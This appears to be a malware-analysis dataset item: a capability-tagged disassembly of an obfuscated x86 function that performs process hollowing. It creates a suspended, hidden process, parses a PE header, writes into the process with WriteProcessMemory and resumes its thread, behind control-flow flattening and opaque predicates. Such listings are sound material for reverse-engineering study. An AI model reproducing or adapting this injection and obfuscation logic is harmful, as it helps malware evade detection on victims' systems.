Function at 0x10003620
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [0x10073800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x174], 0x3f39621d
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x178], eax
sub eax, 0x82f5aace
je 0x10009316
jmp 0x1000365c
mov eax, dword [ebp - 0x178]
sub eax, 0x838fd062
je 0x100067eb
jmp 0x10003672
mov eax, dword [ebp - 0x178]
sub eax, 0x83b5793d
je 0x100073cb
jmp 0x10003688
mov eax, dword [ebp - 0x178]
sub eax, 0x853f1c40
je 0x10007caa
jmp 0x1000369e
mov eax, dword [ebp - 0x178]
sub eax, 0x85f0c265
je 0x10008880
jmp 0x100036b4
mov eax, dword [ebp - 0x178]
sub eax, 0x863bd7e5
je 0x10006ba7
jmp 0x100036ca
mov eax, dword [ebp - 0x178]
sub eax, 0x8710bad4
je 0x1000bb8b
jmp 0x100036e0
mov eax, dword [ebp - 0x178]
sub eax, 0x8782c978
je 0x10009971
jmp 0x100036f6
mov eax, dword [ebp - 0x178]
sub eax, 0x88b0caba
je 0x1000724a
jmp 0x1000370c
mov eax, dword [ebp - 0x178]
sub eax, 0x8988c8a8
je 0x10007a82
jmp 0x10003722
mov eax, dword [ebp - 0x178]
sub eax, 0x89d51347
je 0x1000870f
jmp 0x10003738
mov eax, dword [ebp - 0x178]
sub eax, 0x8a28f29f
je 0x10007a37
jmp 0x1000374e
mov eax, dword [ebp - 0x178]
sub eax, 0x8a2f01e4
je 0x10007aa1
jmp 0x10003764
mov eax, dword [ebp - 0x178]
sub eax, 0x8a4d422f
je 0x1000ab62
jmp 0x1000377a
mov eax, dword [ebp - 0x178]
sub eax, 0x8c8cd666
je 0x100072a3
jmp 0x10003790
mov eax, dword [ebp - 0x178]
sub eax, 0x8cd6ba93
je 0x1000637a
jmp 0x100037a6
mov eax, dword [ebp - 0x178]
sub eax, 0x8da66d22
je 0x10006ac8
jmp 0x100037bc
mov eax, dword [ebp - 0x178]
sub eax, 0x8de64982
je 0x10009fe8
jmp 0x100037d2
mov eax, dword [ebp - 0x178]
sub eax, 0x8dea7ef8
je 0x1000b7aa
jmp 0x100037e8
mov eax, dword [ebp - 0x178]
sub eax, 0x8e1bb733
je 0x10005d84
jmp 0x100037fe
mov eax, dword [ebp - 0x178]
sub eax, 0x8efc19d1
je 0x10007d41
jmp 0x10003814
mov eax, dword [ebp - 0x178]
sub eax, 0x8f3d617c
je 0x10007e8a
jmp 0x1000382a
mov eax, dword [ebp - 0x178]
sub eax, 0x8f54f62e
je 0x1000b634
jmp 0x10003840
mov eax, dword [ebp - 0x178]
sub eax, 0x8f6e1f30
je 0x100089bf
jmp 0x10003856
mov eax, dword [ebp - 0x178]
sub eax, 0x8f81857f
je 0x1000b806
jmp 0x1000386c
mov eax, dword [ebp - 0x178]
sub eax, 0x90058043
je 0x100084f2
jmp 0x10003882
mov eax, dword [ebp - 0x178]
sub eax, 0x90b44c07
je 0x100065ae
jmp 0x10003898
mov eax, dword [ebp - 0x178]
sub eax, 0x91e66acf
je 0x1000a8b2
jmp 0x100038ae
mov eax, dword [ebp - 0x178]
sub eax, 0x92c07f96
je 0x10007cc7
jmp 0x100038c4
mov eax, dword [ebp - 0x178]
sub eax, 0x93eba4cd
je 0x10005e35
jmp 0x100038da
mov eax, dword [ebp - 0x178]
sub eax, 0x94397a60
je 0x1000ab05
jmp 0x100038f0
mov eax, dword [ebp - 0x178]
sub eax, 0x96f8da7f
je 0x10005f86
jmp 0x10003906
mov eax, dword [ebp - 0x178]
sub eax, 0x971cff8d
je 0x1000826d
jmp 0x1000391c
mov eax, dword [ebp - 0x178]
sub eax, 0x9735bc7c
je 0x10008823
jmp 0x10003932
mov eax, dword [ebp - 0x178]
sub eax, 0x976ddf7b
je 0x1000baec
jmp 0x10003948
mov eax, dword [ebp - 0x178]
sub eax, 0x9771ec56
je 0x1000b882
jmp 0x1000395e
mov eax, dword [ebp - 0x178]
sub eax, 0x9774dc37
je 0x100087e6
jmp 0x10003974
mov eax, dword [ebp - 0x178]
sub eax, 0x98135869
je 0x100079cc
jmp 0x1000398a
mov eax, dword [ebp - 0x178]
sub eax, 0x98157755
je 0x1000ad45
jmp 0x100039a0
mov eax, dword [ebp - 0x178]
sub eax, 0x98746f71
je 0x100073da
jmp 0x100039b6
mov eax, dword [ebp - 0x178]
sub eax, 0x98c7d0af
je 0x10008b16
jmp 0x100039cc
mov eax, dword [ebp - 0x178]
sub eax, 0x9918c2b3
je 0x1000b5c8
jmp 0x100039e2
mov eax, dword [ebp - 0x178]
sub eax, 0x997d1a7f
je 0x1000b482
jmp 0x100039f8
mov eax, dword [ebp - 0x178]
sub eax, 0x99beb9b3
je 0x1000873e
jmp 0x10003a0e
mov eax, dword [ebp - 0x178]
sub eax, 0x9a0389f7
je 0x1000ac30
jmp 0x10003a24
mov eax, dword [ebp - 0x178]
sub eax, 0x9a0d1e1b
je 0x10008d59
jmp 0x10003a3a
mov eax, dword [ebp - 0x178]
sub eax, 0x9a13c433
je 0x10006477
jmp 0x10003a50
mov eax, dword [ebp - 0x178]
sub eax, 0x9a3e4b1f
je 0x1000b72e
jmp 0x10003a66
mov eax, dword [ebp - 0x178]
sub eax, 0x9b491968
je 0x10009fb2
jmp 0x10003a7c
mov eax, dword [ebp - 0x178]
sub eax, 0x9b6e417d
je 0x10007971
jmp 0x10003a92
mov eax, dword [ebp - 0x178]
sub eax, 0x9db0465c
je 0x100068d0
jmp 0x10003aa8
mov eax, dword [ebp - 0x178]
sub eax, 0x9e19c148
je 0x10006bff
jmp 0x10003abe
mov eax, dword [ebp - 0x178]
sub eax, 0xa0118bfc
je 0x1000626a
jmp 0x10003ad4
mov eax, dword [ebp - 0x178]
sub eax, 0xa03313e6
je 0x10009e25
jmp 0x10003aea
mov eax, dword [ebp - 0x178]
sub eax, 0xa06096cf
je 0x1000b117
jmp 0x10003b00
mov eax, dword [ebp - 0x178]
sub eax, 0xa0b6c38d
je 0x10008137
jmp 0x10003b16
mov eax, dword [ebp - 0x178]
sub eax, 0xa0d78a0e
je 0x10008d97
jmp 0x10003b2c
mov eax, dword [ebp - 0x178]
sub eax, 0xa1306a67
je 0x10008b25
jmp 0x10003b42
mov eax, dword [ebp - 0x178]
sub eax, 0xa1324bde
je 0x1000b863
jmp 0x10003b58
mov eax, dword [ebp - 0x178]
sub eax, 0xa14148bb
je 0x10009082
jmp 0x10003b6e
mov eax, dword [ebp - 0x178]
sub eax, 0xa2f7067d
je 0x100093ec
jmp 0x10003b84
mov eax, dword [ebp - 0x178]
sub eax, 0xa3508d75
je 0x10007fbe
jmp 0x10003b9a
mov eax, dword [ebp - 0x178]
sub eax, 0xa38ee955
je 0x1000afce
jmp 0x10003bb0
mov eax, dword [ebp - 0x178]
sub eax, 0xa45f2c73
je 0x100071c5
jmp 0x10003bc6
mov eax, dword [ebp - 0x178]
sub eax, 0xa5e9a625
je 0x1000a8cf
movss xmm0, dword [0x100183a4]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x174], 0x61cad692
jmp 0x1000bc66
mov dl, 1
mov eax, 0x76fa2f03
mov ecx, 0x5b2a86b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov dword [ebp - 0x174], 0x63949885
jmp 0x1000bc66
movss xmm0, dword [0x10018380]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0x13c], xmm0
mov dl, 1
mov eax, 0x62fc8c1e
mov ecx, 0x22cd7f10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0x921f9419
sub edx, 1
add edx, 0x921f9419
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x434535b4
mov ecx, 0x328a3798
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
movss xmm0, dword [0x10018228]
movss dword [ebp - 0x13c], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0xf0087923
sub edx, 1
add edx, 0xf0087923
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee655dd9
mov ecx, 0x9255c37
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov dl, 1
mov eax, 0x45b717b7
mov ecx, 0x4d2ed3f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov dword [ebp - 0x174], 0xd5bf48ef
jmp 0x1000bc66
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1f241af
mov ecx, 0x1e3c09a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x323750fc
mov ecx, 0xaad80e87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov dword [ebp - 0x174], 0xb75ad95f
jmp 0x1000bc66
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0x140], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0xbadf798c
sub edx, 1
add edx, 0xbadf798c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc18ff2aa
mov ecx, 0xdd7ca10c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov dword [ebp - 0x174], 0x640c2ab4
jmp 0x1000bc66
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x140], xmm0
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe528c0b1
mov ecx, 0x8c8cd666
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov dword [ebp - 0x174], 0xb8be73d4
jmp 0x1000bc66
mov dword [ebp - 0x174], 0x98746f71
jmp 0x1000bc66
movss xmm0, dword [0x10018348]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x174], 0xa9cd6f0d
jmp 0x1000bc66
mov dl, 1
mov eax, 0x98135869
mov ecx, 0xb88c9ea7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
movss xmm0, dword [0x1001831c]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x174], 0xdc1a81d7
jmp 0x1000bc66
mov dword [ebp - 0x174], 0x27825f7
jmp 0x1000bc66
movss xmm0, dword [0x1001830c]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x174], 0x8a2f01e4
jmp 0x1000bc66
movss xmm0, dword [0x10018308]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x174], 0xe7ec275d
jmp 0x1000bc66
mov dl, 1
mov eax, 0xaa9f469d
mov ecx, 0x92c07f96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
movss xmm0, dword [0x100182ec]
movss dword [ebp - 0x148], xmm0
movss xmm0, dword [0x100182e8]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x174], 0xcc22e1c3
jmp 0x1000bc66
movss xmm0, dword [0x100182e0]
movss dword [ebp - 0x148], xmm0
movss xmm0, dword [0x100182dc]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x174], 0x38af9056
jmp 0x1000bc66
mov dword [ebp - 0x174], 0xc2a640fb
jmp 0x1000bc66
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0x2ca1a1d9
sub edx, 1
add edx, 0x2ca1a1d9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29e19b74
mov ecx, 0xf77b8ac1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov dword [ebp - 0x174], 0x4c19fb7f
jmp 0x1000bc66
movss xmm0, dword [0x100181b8]
movss dword [ebp - 0x14c], xmm0
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0xea36646d
sub edx, 1
add edx, 0xea36646d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x40ccb444
mov ecx, 0xb97b01e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0x1020ceab
sub edx, 1
add edx, 0x1020ceab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8dea7ef8
mov ecx, 0x24c18868
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
movss xmm0, dword [0x100182cc]
movss dword [ebp - 0x14c], xmm0
movss xmm0, dword [0x100182c8]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x174], 0x99beb9b3
jmp 0x1000bc66
mov dword [ebp - 0x174], 0x5d9c62c8
jmp 0x1000bc66
movss xmm0, dword [0x100182b4]
movss dword [ebp - 0x150], xmm0
movss xmm0, dword [0x100182b0]
movss dword [ebp - 0x150], xmm0
mov dl, 1
mov eax, 0xef6e90b6
mov ecx, 0x9735bc7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
movss xmm0, dword [0x100182ac]
movss dword [ebp - 0x150], xmm0
movss xmm0, dword [0x100182a8]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x174], 0xf44471a1
jmp 0x1000bc66
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x54052fb8
mov ecx, 0x23a8c2e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
movss xmm0, dword [0x10018298]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x174], 0xfa711c49
jmp 0x1000bc66
mov dword [ebp - 0x174], 0xa1306a67
jmp 0x1000bc66
movss xmm0, dword [0x1001828c]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x174], 0xaac77ddd
jmp 0x1000bc66
movss xmm0, dword [0x10018284]
movss dword [ebp - 0x150], xmm0
movss xmm0, dword [0x10018280]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x174], 0xbc5ac2f1
jmp 0x1000bc66
movss xmm0, dword [0x1001827c]
movss dword [ebp - 0x154], xmm0
movss xmm0, dword [0x10018278]
movss dword [ebp - 0x154], xmm0
movss xmm0, dword [0x10018274]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x174], 0xbde782a1
jmp 0x1000bc66
movss xmm0, dword [0x10018190]
movss dword [ebp - 0x154], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0x8813c4f1
sub edx, 1
add edx, 0x8813c4f1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9771ec56
mov ecx, 0x574a7ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0xb1330a4c
sub edx, 1
add edx, 0xb1330a4c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6978daed
mov ecx, 0xfbbb69b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0x4e9b7c46
sub edx, 1
sub edx, 0x4e9b7c46
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3624ec80
mov ecx, 0xcf2216c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov dword [ebp - 0x174], 0xc69e3017
jmp 0x1000bc66
mov dword [ebp - 0x174], 0xe863e6ae
jmp 0x1000bc66
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x120]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x174], 0x8de64982
jmp 0x1000bc66
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0xe9f3ca7b
sub edx, 1
add edx, 0xe9f3ca7b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37088da1
mov ecx, 0xd87ead42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x174], 0xa5e9a625
jmp 0x1000bc66
mov edx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x80]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x104]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x174], 0x8a4d422f
jmp 0x1000bc66
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0xe1f29b9a
sub edx, 1
sub edx, 0xe1f29b9a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8c811a5
mov ecx, 0x42779d61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0x7291e086
sub edx, 1
sub edx, 0x7291e086
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd6aa48ef
mov ecx, 0xeb93f2d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov ecx, dword [ebp - 0x7c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov dword [ebp - 0x174], 0x2a1e6207
jmp 0x1000bc66
mov ecx, dword [ebp - 0x170]
add ecx, 0x6334b610
add ecx, 8
sub ecx, 0x6334b610
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x70], eax
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3830411
mov ecx, 0xefde7d32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc1602e58
mov ecx, 0xc66bc8cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000bc66
movss xmm0, dword [0x10018218]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x174], 0x449084eb
jmp 0x1000bc66
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x174], 0xb5980b8f
jmp 0x1000bc66
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x174], 0x1b6a9ada
jmp 0x1000bc66
mov dword [ebp - 0x174], 0xf2138144
jmp 0x1000bc66
movss xmm0, dword [0x100181a8]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x174], 0x24c18868
jmp 0x1000bc66
movss xmm0, dword [0x100181a0]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x174], 0x70474201
jmp 0x1000bc66
movss xmm0, dword [0x10018194]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x174], 0x66bf24e3
jmp 0x1000bc66
movss xmm0, dword [0x10018190]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x174], 0xa14148bb
jmp 0x1000bc66
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x120]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
add eax, 0xb7dad020
sub eax, ecx
sub eax, 0xb7dad020
mov ecx, dword [ebp - 0xb4]
add ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov dword [ebp - 0x174], 0x7a7de6ea
jmp 0x1000bc66
mov dword [ebp - 0x174], 0x188ef289
jmp 0x1000bc66
jmp 0x10003640